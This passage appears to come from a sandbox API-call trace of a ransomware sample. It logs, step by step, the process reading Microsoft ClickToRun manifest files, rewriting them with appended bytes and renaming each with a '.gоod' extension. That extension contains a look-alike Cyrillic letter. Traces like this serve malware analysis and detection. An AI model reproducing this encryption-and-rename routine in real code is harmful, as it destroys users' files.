lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0081.935] CloseHandle (hObject=0x76c) returned 1 [0081.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x82 [0081.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0081.937] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d0d4705, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9200)) returned 1 [0081.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0081.937] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.gоod")) returned 1 [0081.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0081.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0081.938] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x340c8a0 | out: lpFileInformation=0x340c8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c)) returned 1 [0081.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0081.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0081.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.938] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.938] GetFileType (hFile=0x76c) returned 0x1 [0081.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.938] GetFileType (hFile=0x76c) returned 0x1 [0081.938] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0081.939] ReadFile (in: hFile=0x76c, lpBuffer=0x340cdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x340cdc8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0082.274] CloseHandle (hObject=0x76c) returned 1 [0082.274] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0082.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0082.274] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.274] GetFileType (hFile=0x76c) returned 0x1 [0082.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0082.275] GetFileType (hFile=0x76c) returned 0x1 [0082.275] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0xe71c [0082.275] WriteFile (in: hFile=0x76c, lpBuffer=0x3409f00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x3409f00*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0082.276] CloseHandle (hObject=0x76c) returned 1 [0082.278] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0082.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0082.279] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.279] GetFileType (hFile=0x76c) returned 0x1 [0082.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0082.279] GetFileType (hFile=0x76c) returned 0x1 [0082.279] ReadFile (in: hFile=0x76c, lpBuffer=0x3412010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3412010*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0082.306] CloseHandle (hObject=0x76c) returned 1 [0082.306] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0082.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0082.307] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.307] GetFileType (hFile=0x76c) returned 0x1 [0082.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0082.307] GetFileType (hFile=0x76c) returned 0x1 [0082.307] WriteFile (in: hFile=0x76c, lpBuffer=0x3410ce0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3410ce0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0082.307] CloseHandle (hObject=0x76c) returned 1 [0082.309] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0082.309] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x76 [0082.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0082.309] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d467f52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe72c)) returned 1 [0082.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0082.309] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.gоod")) returned 1 [0082.310] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0082.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0082.310] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x348e590 | out: lpFileInformation=0x348e590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0082.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0082.626] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0082.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0082.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.626] GetFileType (hFile=0x76c) returned 0x1 [0082.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0082.626] GetFileType (hFile=0x76c) returned 0x1 [0082.626] GetFileSize (in: hFile=0x76c, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x7fa [0082.626] ReadFile (in: hFile=0x76c, lpBuffer=0x331fa80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x331fa80*, lpNumberOfBytesRead=0x1faee6b8*=0x7fa, lpOverlapped=0x0) returned 1 [0082.628] CloseHandle (hObject=0x76c) returned 1 [0082.657] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0082.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0082.657] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.658] GetFileType (hFile=0x76c) returned 0x1 [0082.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0082.658] GetFileType (hFile=0x76c) returned 0x1 [0082.658] WriteFile (in: hFile=0x76c, lpBuffer=0x3399730*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3399730*, lpNumberOfBytesWritten=0x1faee5c8*=0x800, lpOverlapped=0x0) returned 1 [0082.659] CloseHandle (hObject=0x76c) returned 1 [0082.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0082.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x79 [0082.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0082.660] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d7af36a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0082.660] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.gоod")) returned 1 [0082.661] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0082.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0082.661] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x339aae0 | out: lpFileInformation=0x339aae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14)) returned 1 [0082.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0082.661] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0082.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0082.661] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.661] GetFileType (hFile=0x76c) returned 0x1 [0082.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0082.661] GetFileType (hFile=0x76c) returned 0x1 [0082.662] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0082.662] ReadFile (in: hFile=0x76c, lpBuffer=0x339b038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x339b038*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0083.709] CloseHandle (hObject=0x76c) returned 1 [0083.709] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0083.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0083.709] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0083.709] GetFileType (hFile=0x76c) returned 0x1 [0083.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0083.709] GetFileType (hFile=0x76c) returned 0x1 [0083.709] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x3f14 [0083.710] WriteFile (in: hFile=0x76c, lpBuffer=0x3437fc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x3437fc0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0083.880] CloseHandle (hObject=0x76c) returned 1 [0083.928] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0083.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0083.928] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0083.928] GetFileType (hFile=0x76c) returned 0x1 [0083.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0083.928] GetFileType (hFile=0x76c) returned 0x1 [0083.928] ReadFile (in: hFile=0x76c, lpBuffer=0x336a2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x336a2f8*, lpNumberOfBytesRead=0x1faee708*=0x1000, 